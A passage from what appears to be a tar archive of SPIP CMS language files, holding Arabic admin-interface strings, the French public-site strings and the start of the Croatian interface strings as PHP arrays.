'texte_lien_hypertexte' => '(اذا كانت مشاركتك تعيد الى مقال منشور على النسيج، او الى صفحة توفر المزيد من المعلومات، الرجاء إدخال إسم الصفحة وعنوانها هنا).',
'texte_login_ldap_1' => ')أتركه فارغاً للدخول المغفل أو قم بإدخال المسار الكامل، مثلاً «<tt>uid=salim, ou=users, dc=mon-domaine, dc=com</tt>»).',
'texte_login_precaution' => 'تحذير! هذا هو المعرّف الذي تتصل من خلاله الآن.
إستخدم هذه الاستمارة بحذر...',
'texte_message_edit' => 'تحذيز: يمكن لجميع مدراء الموقع تعديل هذه الرسالة التي تظهر كذلك على جميع المحررين. إستخدم الإعلانات لعرض أحداث هامة تطرأ على الموقع فقط.',
'texte_messagerie_agenda' => 'يتيح نظام مراسلة لمحرري الموقع التواصل بين بعضهم مباشرة في المجال الخاص. وهو مرتبط بالمفكرة.',
'texte_mise_a_niveau_base_1' => 'لقد قمت بتحديث ملفات SPIP.
يجب الآن تحديث قاعدة بيانات
الموقع.',
'texte_modifier_article' => 'تعديل المقال:',
'texte_moteur_recherche_active' => '<b>محرك البحث نشط. </b>استخدم هذا الامر
اذا رغبت في تنفيذ فهرسة سريعة (بعد استرجاع
نسخة احتياطية مثلاً). تجدر الملاحظة انه ستتم إعادة فهرسة
المستندات المعدلة بالطريقة العادية (من داخل واجهة SPIP )
آلياً: بالتالي، فهذا الامر لا ينفع الا في حالات استثنائية.',
'texte_moteur_recherche_non_active' => 'محرك البحث غير نشط.',
'texte_multilinguisme' => 'اذا احتجت الى إدارة عناصر متعددة اللغات وبتصفح معقّد، يمكنك إضافة قائمة اختيار اللغة في هذه العناصر تتماشى مع تنظيم موقعك.',
'texte_multilinguisme_trad' => 'يمكنك ايضاً تفعيل نظام لإدارة الروابط بين الترجمات المختلفة لبعض العناصر.',
'texte_non_compresse' => 'غير مضغوط (خادمك لا يدعم هذه الوظيفة)',
'texte_nouveau_message' => 'رسالة جديدة',
'texte_nouvelle_version_spip_1' => 'لقد قمت بتثبيت إصدار جديد من SPIP.',
'texte_nouvelle_version_spip_2' => 'هذا الإصدار الجديد يتطلب تحديثاً أكثر عمقاً من المعتاد. إذا كنت مسؤولاً عن هذا الموقع، الرجاء حذف الملف @connect@ وإعادة تنفيذ عملية التثبيت من أجل تحديث بيانات الاتصال بالقاعدة. <p> ( ملاحظة: إذا نسيت بيانات الاتصال، أنظر في الملف @connect@ قبل حذفه...)</p>',
'texte_operation_echec' => 'عد الى الصفحة السابقة وحدد قاعدة بيانات أخرى أو قم بإنشاء قاعدة جديدة. تأكد من المعلومات التي حصلت عليها من مضيفك',
'texte_plus_trois_car' => 'أكثر من ثلاثة حروف',
'texte_plusieurs_articles' => 'تم العثور على عدة مؤلفين لـ "@cherche_auteur@":',
'texte_port_annuaire' => '(القيمة الافتراضية مناسبة عموماً).',
'texte_presente_plugin' => 'تعرض هذه الصفحة لائحة بالملحقات المتوافرة في موقعك. يمكنك تفعيل الملحقات التي تريدها بالنقر على الخانات المناسبة لها.',
'texte_proposer_publication' => 'عندما تنتهي من مقالك،<br />يمكنك عرضه للنشر.',
'texte_proxy' => 'في بعض الحالات (انترانت، شبكات محمية...)، لا يمكن الوصول الى المواقع البعيدة (توثيق SPIP، المواقع المرخصة...) الا من خلال <b>جهاز وكيل</b>. اذا لزم الامر، حدد ادناه عنوان الجهاز على الشكل @proxy_en_cours@. بشكل عام اترك هذه الخانة فارغة.',
'texte_publication_articles_post_dates' => 'كيف يجب على SPIP ان يتصرف بالنسبة للمقالات التي
تم تحديد تاريخها
في المستقبل؟',
'texte_rappel_selection_champs' => '[لا تنسى ان تحدد هذا الحقل بشكل صحيح]',
'texte_recalcul_page' => 'إذا كنت ترغب
في تحديث صفحة واحدة، الأحرى بك تنفيذ هذه العملية من الموقع العمومي باستخدام زر «تحديث» الصفحة.
',
'texte_recapitiule_liste_documents' => 'تلخص هذه الصفحة قائمة المستندات التي وضعتها في الأقسام. لتغيير معلومات كل مستند، إتبع الوصلة الى صفحة القسم المناسب.',
'texte_recuperer_base' => 'إصلاح قاعدة البيانات',
'texte_reference_mais_redirige' => 'مقال مبوّب في موقع SPIP لديك، لكنه موجه الى عنوان آخر.',
'texte_requetes_echouent' => '<b>عندما يفشل بعض إستفسارات SQL
بشكل منتظم ومتكرر دون أي سبب ظاهر، قد يكون
العطل في قاعدة البيانات
نفسها.</b><p>
يتمتع خادم SQL بوظيفة إصلاح الجداول اذا اصابها عطل
طارئ. يمكنك هنا محاولة تنفيذ هذا الإصلاح؛ في
حال فشل المحاولة يجب عليك الاحتفاظ بنسخة مما تعرضه الشاشة لأنه قد يحتوي
أدلة عن المشكلة...</p><p>
إذا استمرت المشكلة إتصل
بمضيف موقعك.</p>',
'texte_selection_langue_principale' => 'أدناه يمكنك تحديد «اللغة الأساسية » للموقع. لحسن الحظ لن يفرض عليك هذا الخيار تحرير مقالاتك باللغة المحددة، الا انه يحدد:
<ul><li> تنسيق التواريخ الافتراضي في الموقع العام؛</li>
<ul><li> طبيعة محرك الكتابة الذي يجب على SPIP استخدامه لتنسيق النصوص؛</li>
<ul><li> اللغة المستخدمة في إستمارات الموقع العام؛</li>
<ul><li> اللغة الافتراضية التي يعرضها المجال الخاص. </li></ul>',
'texte_sous_titre' => 'العنوان الفرعي',
'texte_statistiques_visites' => '(القضبان الداكنة: الأحد / المنحنيات الداكنة: التطور الوسطي)',
'texte_statut_attente_validation' => 'بانتظار التصديق',
'texte_statut_publies' => 'منشور',
'texte_statut_refuses' => 'مرفوض',
'texte_suppression_fichiers' => 'إستخدم هذا الأمر لحذف كل الملفات الموجودة
في الذاكرة المخبأة. ويتيح لك ذلك، من بين أمور أخرى، فرض تحديث كل الصفحات في حال
قمت بإدخال تعديلات مهمة على الرسوم أو التصميم في الموقع. ',
'texte_sur_titre' => 'العنوان المدخل',
'texte_table_ok' => ': هذا الجدول صالح.',
'texte_tables_indexation_vides' => 'جداول فهرسة المحرك فارغة.',
'texte_tentative_recuperation' => 'محاولة إصلاح',
'texte_tenter_reparation' => 'محاولة إصلاح قاعدة البيانات',
'texte_test_proxy' => 'لتجربة الجهاز الوكيل، قم بإدخال عنوان موقع
ترغب في زيارته.',
'texte_titre_02' => 'الإسم:',
'texte_titre_obligatoire' => '<b>العنوان</b> [إجباري]',
'texte_travail_article' => '@nom_auteur_modif@ تعامل مع هذا المقال منذ @date_diff@ دقيقة',
'texte_travail_collaboratif' => 'كثيراً ما يحدث أن يتعاون
عدة محررين في تحرير المقال نفسه، فيمكن
للنظام أن يعرض المقالات «المفتوحة» حديثاً
بهدف تجنب إدخال تعديلات متزامنة عليها.
هذا الخيار متوقف افتراضياً
لتجنب عرض رسائل تحذير
مفاجئة.',
'texte_trop_resultats_auteurs' => 'تم العثور على عدد كبير جداً من النتائج لـ "@cherche_auteur@"، الرجاء زيادة دقة البحث.',
'texte_unpack' => 'تحميل الإصدار الأخير',
'texte_utilisation_moteur_syndiques' => 'عندما تستخدم محرك البحث المدمج
في SPIP، يمكنك تنفيذ عمليات بحث في المواقع
والمقالات المرخصة بطريقتين
مختلفتين. <br />- الطريقة
الابسط هي اقتصار البحث على
عناوين المقالات ووصفها. <br />-
اما الطريقة الثانية، وهي الاكثر فعالية، فتتيح
لـSPIP البحث ايضاً في مادة
المواقع المبوبة. فإذا قمت
بتبويب موقع، سينفذ SPIP
البحث في مادة الموقع نفسه.',
'texte_utilisation_moteur_syndiques_2' => '</i>وتفرض هذه الطريقة على SPIP زيارة
المواقع المبوبة بانتظام،
مما قد يتسبب بانخفاض أداء
موقعك.<i>',
'texte_vide' => 'فارغ',
'texte_vider_cache' => 'تفريغ الذاكرة المخبأة',
'titre_admin_effacer' => 'صيانة تقنية',
'titre_admin_tech' => 'صيانة تقنية',
'titre_admin_vider' => 'صيانة تقنية',
'titre_ajouter_un_auteur' => 'إضافة مؤلف',
'titre_ajouter_un_mot' => 'إضافة مفتاح',
'titre_ajouter_une_rubrique' => 'إضافة قسم',
'titre_cadre_afficher_article' => 'إظهار المقالات',
'titre_cadre_afficher_traductions' => 'عرض وضع الترجمات للغات التالية:',
'titre_cadre_ajouter_auteur' => 'إضافة مؤلف:',
'titre_cadre_interieur_rubrique' => 'في القسم',
'titre_cadre_numero_auteur' => 'مؤلف رقم',
'titre_cadre_numero_objet' => '@objet@ رقم:',
'titre_cadre_signature_obligatoire' => '<b>التوقيع<b> [إجباري]<br />',
'titre_config_contenu_notifications' => 'تبليغات',
'titre_config_contenu_prive' => 'في المجال الخاص',
'titre_config_contenu_public' => 'في الموقع العمومي',
'titre_config_fonctions' => 'إعداد الموقع',
'titre_config_langage' => 'إعداد اللغة',
'titre_configuration' => 'إعداد الموقع',
'titre_configurer_preferences' => 'إعداد التفضيلات',
'titre_conflit_edition' => 'تضارب لدى التحرير',
'titre_connexion_ldap' => 'خيارات: <b>إتصالLDAP </b>',
'titre_groupe_mots' => 'مجموعة مفاتيح:',
'titre_identite_site' => 'هوية الموقع',
'titre_langue_article' => 'لغة المقال',
'titre_langue_rubrique' => 'لغة القسم',
'titre_langue_trad_article' => 'لغة المقال وترجماته',
'titre_les_articles' => 'المقالات',
'titre_messagerie_agenda' => 'المراسلة والمفكرة',
'titre_naviguer_dans_le_site' => 'تصفح الموقع...',
'titre_nouvelle_rubrique' => 'قسم جديد',
'titre_numero_rubrique' => 'قسم رقم:',
'titre_page_admin_effacer' => 'صيانة تقنية: حذف قاعدة البيانات',
'titre_page_articles_edit' => 'تعديل: @titre@',
'titre_page_articles_page' => 'المقالات',
'titre_page_articles_tous' => 'الموقع بالكامل',
'titre_page_auteurs' => 'الزوار',
'titre_page_calendrier' => 'روزنامة @nom_mois@ @annee@',
'titre_page_config_contenu' => 'إعداد الموقع',
'titre_page_config_fonctions' => 'إعداد الموقع',
'titre_page_configuration' => 'إعداد الموقع',
'titre_page_controle_petition' => 'متابعة العرائض',
'titre_page_delete_all' => 'حذف تام ونهائي',
'titre_page_documents_liste' => 'مستندات الأقسام',
'titre_page_index' => 'مجالك الخاص',
'titre_page_message_edit' => 'كتابة رسالة',
'titre_page_messagerie' => 'مراسلاتك',
'titre_page_recherche' => 'نتائج البحث @recherche@',
'titre_page_statistiques_referers' => 'الاحصاءات (الوصلات الآتية)',
'titre_page_statistiques_signatures_jour' => 'عدد التوقيعات في اليوم',
'titre_page_statistiques_signatures_mois' => 'عدد التوقيعات في الشهر',
'titre_page_upgrade' => 'ترقية SPIP',
'titre_publication_articles_post_dates' => 'نشر المقالات المؤجلة',
'titre_referencer_site' => 'تبويب الموقع:',
'titre_rendez_vous' => 'مواعيد:',
'titre_reparation' => 'إصلاح',
'titre_suivi_petition' => 'متابعة العرائض',
'tls_ldap' => 'أمان طبقة النقل:',
'trad_article_inexistant' => 'لا يوجد اي مقال يحمل هذا الرقم.',
'trad_article_traduction' => 'كل اصدارات هذا المقال:',
'trad_deja_traduit' => 'خطأ: لا يمكن ربط هذا المقال بالرقم المطلوب.',
'trad_delier' => 'ايقاف الربط هذا بهذه الترجمات',
'trad_lier' => 'هذا المقال هو ترجمة للمقال رقم:',
'trad_new' => 'كتابة ترجمة جديدة',
// U
'upload_info_mode_document' => 'وضع هذه الصورة في صالة العرض',
'upload_info_mode_image' => 'سحب هذه الصورة من صالة العرض',
'utf8_convert_attendez' => 'انتظر للحظات قليلة ثم أعد تحميل هذه الصفحة.',
'utf8_convert_avertissement' => 'أنت تستعد لتحويل محتوى قاعدة بياناتك (مقالات وأخبار الخ.) من طقم حروف <b>@orig@</b> الى طقم حروف <b>@charset@</b>.',
'utf8_convert_backup' => 'لا تنسى إنشاء نسخة احتياطية كاملة من موقعك اولاً. يجب ان تتأكد ايضاً من ان صفحاتك النموذجية وملفات لغاتك تتوافق مع @charset@. ',
'utf8_convert_erreur_deja' => 'موقعك يخضع اصلاً لطقم @charset@، فلا لزوم لتحويله... ',
'utf8_convert_erreur_orig' => 'خطأ: طقم الحروف @charset@ غير مدعوم.',
'utf8_convert_termine' => 'انتهى!',
'utf8_convert_timeout' => '<b>مهم: في حال حصل تخط للوقت (</b> <i>timeout</i>) في جهاز الخدمة، الرجاء تكرار اعادة تحميل الصفحة حتى تظهر عبارة «إنتهى».',
'utf8_convert_verifier' => 'عليك الآن بتفريغ الذاكرة المخبأة والتأكد من ان كل شيء سليم في صفحات الموقع العمومي. في حال حدوث مشاكل، لديك نسخة احتياطية من البيانات (بتنسيق SQL) في الدليل @rep@.',
'utf8_convertir_votre_site' => 'تحويل موقعك الى utf-8',
// V
'version' => 'الإصدار:'
);
?>
public_fr.php 0000666 00000007536 15252547432 0007252 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// Fichier source, a modifier dans svn://trac.rezo.net/spip/spip/ecrire/lang/
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Accueil',
'article' => 'Article',
'articles' => 'Articles',
'articles_auteur' => 'Articles de cet auteur',
'articles_populaires' => 'Articles les plus populaires',
'articles_rubrique' => 'Articles de cette rubrique',
'aucun_article' => 'Il n’y a pas d’article à cette adresse',
'aucun_auteur' => 'Il n’y a pas d’auteur à cette adresse',
'aucun_site' => 'Il n’y a pas de site à cette adresse',
'aucune_breve' => 'Il n’y a pas de brève à cette adresse',
'aucune_rubrique' => 'Il n’y a pas de rubrique à cette adresse',
'auteur' => 'Auteur',
'autres' => 'Autres',
'autres_breves' => 'Autres brèves',
'autres_groupes_mots_clefs' => 'Autres groupes de mots-clés',
'autres_sites' => 'Autres sites',
// B
'bonjour' => 'Bonjour',
// C
'commenter_site' => 'Commenter ce site',
'contact' => 'Contact',
'copie_document_impossible' => 'Impossible de copier le document',
// D
'date' => 'Date',
'dernier_ajout' => 'Dernier ajout',
'dernieres_breves' => 'Dernières brèves',
'derniers_articles' => 'Derniers articles',
'derniers_commentaires' => 'Derniers commentaires',
'derniers_messages_forum' => 'Derniers messages publiés dans les forums',
// E
'edition_mode_texte' => 'Édition en mode texte de',
'en_reponse' => 'En réponse à :',
'en_resume' => 'En résumé',
'envoyer_message' => 'Envoyer un message',
'espace_prive' => 'Espace privé',
// F
'formats_acceptes' => 'Formats acceptés : @formats@.',
// H
'hierarchie_site' => 'Hiérarchie du site',
// J
'jours' => 'jours',
// L
'lien_connecter' => 'Se connecter',
// M
'meme_auteur' => 'Du même auteur',
'meme_rubrique' => 'Dans la même rubrique',
'memes_auteurs' => 'Des mêmes auteurs',
'message' => 'Message',
'messages_forum' => 'Messages',
'messages_recents' => 'Messages de forums les plus récents',
'mots_clef' => 'Mot-clé',
'mots_clefs' => 'Mots-clés',
'mots_clefs_meme_groupe' => 'Mots-clés dans le même groupe',
// N
'navigation' => 'Navigation',
'nom' => 'Nom',
'nouveautes' => 'Les nouveautés',
'nouveautes_web' => 'Nouveautés sur le Web',
'nouveaux_articles' => 'Nouveaux articles',
'nouvelles_breves' => 'Nouvelles brèves',
// P
'page_precedente' => 'page précédente',
'page_suivante' => 'page suivante',
'par_auteur' => 'par ',
'participer_site' => 'Vous pouvez participer à la vie de ce site et proposer vos propres articles en vous inscrivant ci-dessous. Vous recevrez immédiatement un email vous indiquant vos codes d’accès à l’espace privé du site.',
'plan_site' => 'Plan du site',
'popularite' => 'Popularité',
'poster_message' => 'Poster un message',
'proposer_site' => 'Vous pouvez proposer un site à ajouter dans cette rubrique :',
// R
'repondre_article' => 'Répondre à cet article',
'repondre_breve' => 'Répondre à cette brève',
'resultats_recherche' => 'Résultats de la recherche',
'retour_debut_forums' => 'Retour au début des forums',
'rubrique' => 'Rubrique',
'rubriques' => 'Rubriques',
// S
'signatures_petition' => 'Signatures',
'site_realise_avec_spip' => 'Site réalisé avec SPIP',
'sites_web' => 'Sites Web',
'sous_rubriques' => 'Sous-rubriques',
'spam' => 'Spam',
'suite' => 'suite',
'sur_web' => 'Sur le Web',
'syndiquer_rubrique' => 'Syndiquer cette rubrique',
'syndiquer_site' => 'Syndiquer tout le site',
// T
'texte_lettre_information' => 'Voici la lettre d’information du site',
'texte_lettre_information_2' => 'Cette lettre recense les nouveautés publiées depuis',
// V
'ver_imprimer' => 'Version à imprimer',
'voir_en_ligne' => 'Voir en ligne',
'voir_squelette' => 'voir le squelette de cette page'
);
?>
spip_hr.php 0000666 00000111003 15252547432 0006732 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=hr
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-dev',
'0_langue' => 'Hrvatski [hr]',
'0_liste' => 'spip-dev@rezo.net',
'0_mainteneur' => 'Alexander Gehrecke (a_gehrecke(at)ambinet.de)',
// A
'access_interface_graphique' => 'Natrag u potpuni grafički interface',
'access_mode_texte' => 'Pojednostavljeni text interface',
'admin_debug' => 'debug',
'admin_modifier_article' => 'Izmijeniti ovaj članak',
'admin_modifier_auteur' => 'Izmjeniti podatke ovoga autora',
'admin_modifier_breve' => 'Izmjeniti ovu vijest',
'admin_modifier_mot' => 'Izmjeniti ovu ključnu riječ',
'admin_modifier_rubrique' => 'Izmjeniti ovu rubriku',
'admin_recalculer' => 'Osvježiti ovu stranicu',
'afficher_calendrier' => 'Prikazati kalendar',
'afficher_trad' => 'pokaži prijevode',
'alerte_maj_impossible' => '<b>Pozor!</b> Neuspjeo pokušaj promjene verzije SQL baze podataka u verziju @version@, moguće uslijed nedostatnih prava. Molimo stupite u kontakt s Vašim ISP.',
'alerte_modif_info_concourante' => 'UPOZORENJE : Ova informacija je drugdje već promjenjena. Trenutna vrijednost je :',
'analyse_xml' => 'XML analiza',
'annuler' => 'Poništiti',
'antispam_champ_vide' => 'Molim ostavite ovo polje prazno:',
'articles_recents' => 'Najnoviji članci',
'avis_archive_incorrect' => 'datoteka (arhiva) nije ispravna SPIP datoteka',
'avis_archive_invalide' => 'datoteka (arhiva) nije ispravna',
'avis_attention' => 'POZOR!',
'avis_champ_incorrect_type_objet' => 'Nevaljan naziv polja @name@ za objekt vrste @type@',
'avis_colonne_inexistante' => 'Kolona @col@ ne postoji',
'avis_erreur' => 'Greška: vidi dolje',
'avis_erreur_connexion' => 'Greška pri priključivanju',
'avis_erreur_cookie' => 'problem sa cookiem',
'avis_erreur_fonction_contexte' => 'Programska greška. Ova funkcija ne smije biti pozvana u ovom kontekstu.',
'avis_erreur_mysql' => 'SQL greška',
'avis_erreur_sauvegarde' => 'Greška u sigurnosnoj kopiji (backup) (@type@ @id_objet@)!',
'avis_erreur_visiteur' => 'Problem pri ulasku u privatnu dio',
// B
'barre_a_accent_grave' => 'Umetnite veliko A sa silaznim akcentom',
'barre_aide' => 'Upotrijebite tipografske kratice da biste oplemenili izgled',
'barre_e_accent_aigu' => 'Umetnite veliko E s uzlaznim akcentom',
'barre_eo' => 'Umetnite oe-ligaturu',
'barre_eo_maj' => 'Umetnite veliku OE-ligaturu',
'barre_euro' => 'Umetnite € simbol',
'barre_gras' => 'koristite {{debelo otisnuta slova}}',
'barre_guillemets' => 'umetnite u "dvostruke navodnike"',
'barre_guillemets_simples' => 'umetnite u ‘jednostruke navodnike’',
'barre_intertitre' => 'promijenite u {{{podnaslov}}}',
'barre_italic' => 'koristite {kurziv}',
'barre_lien' => 'promjenite u [hiperlink->http://...]',
'barre_lien_input' => 'Unesite cilj hiperlinka (možete unijeti internet URL u obliku http://www.mysite.com ili jednostavno broj članka na ovim web stranicama).',
'barre_note' => 'Promjenite u [[napomenu]]',
'barre_paragraphe' => 'Napraviti paragraf',
'barre_quote' => '<quote>citirajte poruku</quote>',
'bouton_changer' => 'Izmjeniti',
'bouton_chercher' => 'Tražiti',
'bouton_choisir' => 'Birati',
'bouton_deplacer' => 'Premjestiti',
'bouton_download' => 'Preuzimanje',
'bouton_enregistrer' => 'Sačuvati',
'bouton_radio_desactiver_messagerie_interne' => 'Deaktivirati interne poruke',
'bouton_radio_envoi_annonces' => 'Poslati autorske objave',
'bouton_radio_non_envoi_annonces' => 'Ne slati nikakve objave',
'bouton_radio_non_envoi_liste_nouveautes' => 'Ne slati listu posljednjih vijesti',
'bouton_recharger_page' => 'osvježiti ovu stranicu',
'bouton_telecharger' => 'Otprema',
'bouton_upload' => 'uploadati',
'bouton_valider' => 'Potvrditi',
// C
'cal_apresmidi' => 'poslijepodne (p.m.)',
'cal_jour_entier' => 'cijeli dan',
'cal_matin' => 'prijepodne (a.m.)',
'cal_par_jour' => 'dnevni kalendar',
'cal_par_mois' => 'mjesečni kalendar',
'cal_par_semaine' => 'tjedni kalendar',
'choix_couleur_interface' => 'boja',
'choix_interface' => 'izbor sučelja',
'colonne' => 'Stupac',
'confirm_changer_statut' => 'Potrebna potvrda: Odabrali ste promjenu statusa ovoga članka. Želite li nastaviti?',
'correcte' => 'ispravno',
// D
'date_aujourdhui' => 'danas',
'date_avant_jc' => 'p.n.e.',
'date_dans' => 'u @delai@',
'date_de_mois_1' => '@j@ siječnja',
'date_de_mois_10' => '@j@ listopada',
'date_de_mois_11' => '@j@ studenog',
'date_de_mois_12' => '@j@ prosinca',
'date_de_mois_2' => '@j@ veljače',
'date_de_mois_3' => '@j@ ožujka',
'date_de_mois_4' => '@j@ travnja',
'date_de_mois_5' => '@j@ svibnja',
'date_de_mois_6' => '@j@ lipnja',
'date_de_mois_7' => '@j@ srpnja',
'date_de_mois_8' => '@j@ kolovoza',
'date_de_mois_9' => '@j@ rujna',
'date_demain' => 'sutra',
'date_fmt_heures_minutes' => '@h@:@m@',
'date_fmt_heures_minutes_court' => '@h@h@m@',
'date_fmt_jour' => '@nomjour@ @jour@',
'date_fmt_jour_heure' => '@jour@ u @heure@',
'date_fmt_jour_heure_debut_fin' => '@jour@ od @heure_debut@ do @heure_fin@', # MODIF
'date_fmt_jour_heure_debut_fin_abbr' => '@dtstart@@jour@ od @heure_debut@@dtabbr@ do @dtend@@heure_fin@@dtabbr@', # MODIF
'date_fmt_jour_mois' => '@jourmois@',
'date_fmt_jour_mois_annee' => '@jourmois@ @annee@',
'date_fmt_mois_annee' => '@nommois@ @annee@',
'date_fmt_nomjour' => '@nomjour@ @date@',
'date_fmt_nomjour_date' => '@nomjour@, @date@',
'date_fmt_periode' => 'Od @date_debut@ do @date_fin@',
'date_fmt_periode_abbr' => 'Od @dtart@@date_debut@@dtabbr@ do @dtend@@date_fin@@dtabbr@',
'date_fmt_periode_from' => 'Od',
'date_fmt_periode_to' => 'do',
'date_fmt_saison_annee' => '@saison@ @annee@',
'date_heures' => 'sati',
'date_hier' => 'jučer',
'date_il_y_a' => 'prije @delai@',
'date_jnum1' => '1.',
'date_jnum10' => '10.',
'date_jnum11' => '11.',
'date_jnum12' => '12.',
'date_jnum13' => '13.',
'date_jnum14' => '14.',
'date_jnum15' => '15.',
'date_jnum16' => '16.',
'date_jnum17' => '17.',
'date_jnum18' => '18.',
'date_jnum19' => '19.',
'date_jnum2' => '2.',
'date_jnum20' => '20.',
'date_jnum21' => '21.',
'date_jnum22' => '22.',
'date_jnum23' => '23.',
'date_jnum24' => '24.',
'date_jnum25' => '25.',
'date_jnum26' => '26.',
'date_jnum27' => '27.',
'date_jnum28' => '28.',
'date_jnum29' => '29.',
'date_jnum3' => '3.',
'date_jnum30' => '30.',
'date_jnum31' => '31.',
'date_jnum4' => '4.',
'date_jnum5' => '5.',
'date_jnum6' => '6.',
'date_jnum7' => '7.',
'date_jnum8' => '8.',
'date_jnum9' => '9.',
'date_jour_1' => 'Nedjelja',
'date_jour_1_abbr' => 'ne.',
'date_jour_1_initiale' => 'n.',
'date_jour_2' => 'Ponedjeljak',
'date_jour_2_abbr' => 'pon.',
'date_jour_2_initiale' => 'p.',
'date_jour_3' => 'Utorak',
'date_jour_3_abbr' => 'uto.',
'date_jour_3_initiale' => 'u.',
'date_jour_4' => 'Srijeda',
'date_jour_4_abbr' => 'sri.',
'date_jour_4_initiale' => 's.',
'date_jour_5' => 'Četvrtak',
'date_jour_5_abbr' => 'čet.',
'date_jour_5_initiale' => 'č.',
'date_jour_6' => 'Petak',
'date_jour_6_abbr' => 'pe.',
'date_jour_6_initiale' => 'p.',
'date_jour_7' => 'Subota',
'date_jour_7_abbr' => 'sub.',
'date_jour_7_initiale' => 's.',
'date_jours' => 'dana',
'date_minutes' => 'minuta',
'date_mois' => 'mjeseci',
'date_mois_1' => 'Sječanj',
'date_mois_10' => 'Listopad',
'date_mois_10_abbr' => 'list.',
'date_mois_11' => 'Studeni',
'date_mois_11_abbr' => 'stud.',
'date_mois_12' => 'Prosinac',
'date_mois_12_abbr' => 'pros.',
'date_mois_1_abbr' => 'sije.',
'date_mois_2' => 'Veljača',
'date_mois_2_abbr' => 'velj.',
'date_mois_3' => 'Ožujak',
'date_mois_3_abbr' => 'ožuj.',
'date_mois_4' => 'Travanj',
'date_mois_4_abbr' => 'trav.',
'date_mois_5' => 'Svibanj',
'date_mois_5_abbr' => 'svib.',
'date_mois_6' => 'Lipanj',
'date_mois_6_abbr' => 'lip.',
'date_mois_7' => 'Srpanj',
'date_mois_7_abbr' => 'srp.',
'date_mois_8' => 'Kolovoz',
'date_mois_8_abbr' => 'kolov.',
'date_mois_9' => 'Rujan',
'date_mois_9_abbr' => 'ruj.',
'date_saison_1' => 'zima',
'date_saison_2' => 'proljeće',
'date_saison_3' => 'ljeto',
'date_saison_4' => 'jesen',
'date_secondes' => 'sekunde',
'date_semaines' => 'tjedana',
'date_un_mois' => 'mjesec',
'date_une_heure' => 'sat',
'date_une_minute' => 'minuta',
'date_une_seconde' => 'sekundi',
'date_une_semaine' => 'tjedana',
'dirs_commencer' => ' da biste doista započeli instalaciju',
'dirs_preliminaire' => 'Priprema: <b>podešavanje dozvole pristupa</b>',
'dirs_probleme_droits' => 'Problem sa dozvolama pristupa',
'dirs_repertoires_absents' => '<p><b>Slijedeći direktoriji nisu nađeni: </b></p><ul>@bad_dirs@.</ul>
<p>Mogući uzrok može biti greška u pisanju malih / velikih slova.
Uvjerite se da su mala i velika slova ovih direktorija istovjetna sa gore prikazanim imenima. Ako to nije slučaj, promijenite nazive direktorija koristeći Vaš FTP program.</p>
<p>Kada to napravite, onda možete',
'dirs_repertoires_suivants' => '<p><b>U slijedeće direktorije nije moguće pisati: </b></p><ul>@bad_dirs@</ul>
<p>Da biste to promijenili, upotrijebite Vaš FTP program i promijenite dozvole pristupa za svaki od navedenih direktorija. Ovo je detaljno objašnjeno u uputi za instalaciju.</p>
<p>Kada to napravite, onda možete ',
'double_occurrence' => 'Dvije instance',
// E
'en_cours' => 'obrada',
'envoi_via_le_site' => 'Poslati preko web stranica',
'erreur' => 'Greška',
'erreur_balise_non_fermee' => 'poslednja oznaka nije zatvorena:',
'erreur_technique_ajaxform' => 'Ops. Neočekivana greška onemogućila je slanje formulara. Možete ponovno pokušati.',
'erreur_technique_enregistrement_champs' => 'Tehnička pogreška onemogućila je uredno pohranjivanje polja @champs@.',
'erreur_technique_enregistrement_impossible' => 'Tehnička pogreška onemogućila je uredno pohranjivanje.',
'erreur_texte' => 'greška/greške',
'etape' => 'Stupanj',
// F
'fichier_introuvable' => 'Datoteka nije pronađena: @fichier@',
'form_auteur_confirmation' => 'Potvrdite mail adresu',
'form_auteur_email_modifie' => 'Vaša mail adresa je promjenjena.',
'form_auteur_envoi_mail_confirmation' => 'Potvrda je upravo poslana putem elektroničke pošte na @email@. Otvorite navedenu web adresu iz poruke kako biste potvrdili potvrdili vašu mail adresu.',
'form_auteur_mail_confirmation' => 'Dobar dan,
Zatražili ste izmjenu vaše mail adrese.
Kako biste potvrdili svoju novu adresu, potrebno je samo pristupiti niže navedenoj adresi
(u protivnom će vaš upit biti zanemaren) :
@url@
',
'form_deja_inscrit' => 'Već ste se registrirali.',
'form_email_non_valide' => 'Vaša mail adresa je neispravna.',
'form_forum_access_refuse' => 'Više nemate pristupa ovime web stranicama.',
'form_forum_bonjour' => 'Dobar dan @nom@,',
'form_forum_confirmer_email' => 'Kako biste potvrdili vašu mail adresu, pođite na slijedeću adresu : @url_confirm@',
'form_forum_email_deja_enregistre' => 'Ova mail adresa je već registrirana, stoga možete koristiti Vašu uobičajenu lozinku.',
'form_forum_identifiant_mail' => 'Vaši novi podaci su vam upravo poslani na Vašu mail adresu.',
'form_forum_identifiants' => 'Osobni podaci',
'form_forum_indiquer_nom_email' => 'Unesite ovdje Vaše ime i mail adresu. Ubrzo ćete primiti mail sa Vašim osobnim podacima.',
'form_forum_login' => 'login:',
'form_forum_message_auto' => '(ovo je automatska poruka)',
'form_forum_pass' => 'lozinka:',
'form_forum_probleme_mail' => 'Problem sa mailom: lozinka Vam nije mogla biti poslana.',
'form_forum_voici1' => 'Ovdje su Vaši osobni podaci za pristup web stranicama
"@nom_site_spip@" (@adresse_site@):',
'form_forum_voici2' => 'Ovdje su Vaši osobni podaci za pisanje članaka na web stranicama
"@nom_site_spip@" (@adresse_login@):',
'form_indiquer_email' => 'Unesite Vašu mail adresu.',
'form_indiquer_nom' => 'Unesite Vaše ime.',
'form_indiquer_nom_site' => 'Unesite ime Vaših web stranica.',
'form_pet_deja_enregistre' => 'Ove web stranice su već registrirane',
'form_pet_signature_pasprise' => 'Vaš potpis je ignoriran.',
'form_prop_confirmer_envoi' => 'Potvrditi odašiljanje',
'form_prop_description' => 'opis / komentar',
'form_prop_enregistre' => 'Vaš prijedlog je upamćen, i bit će objavljen nakon što ga provjeri administrator ovih web stranica.',
'form_prop_envoyer' => 'poslati poruku',
'form_prop_indiquer_email' => 'Unesite ispravnu mail adresu',
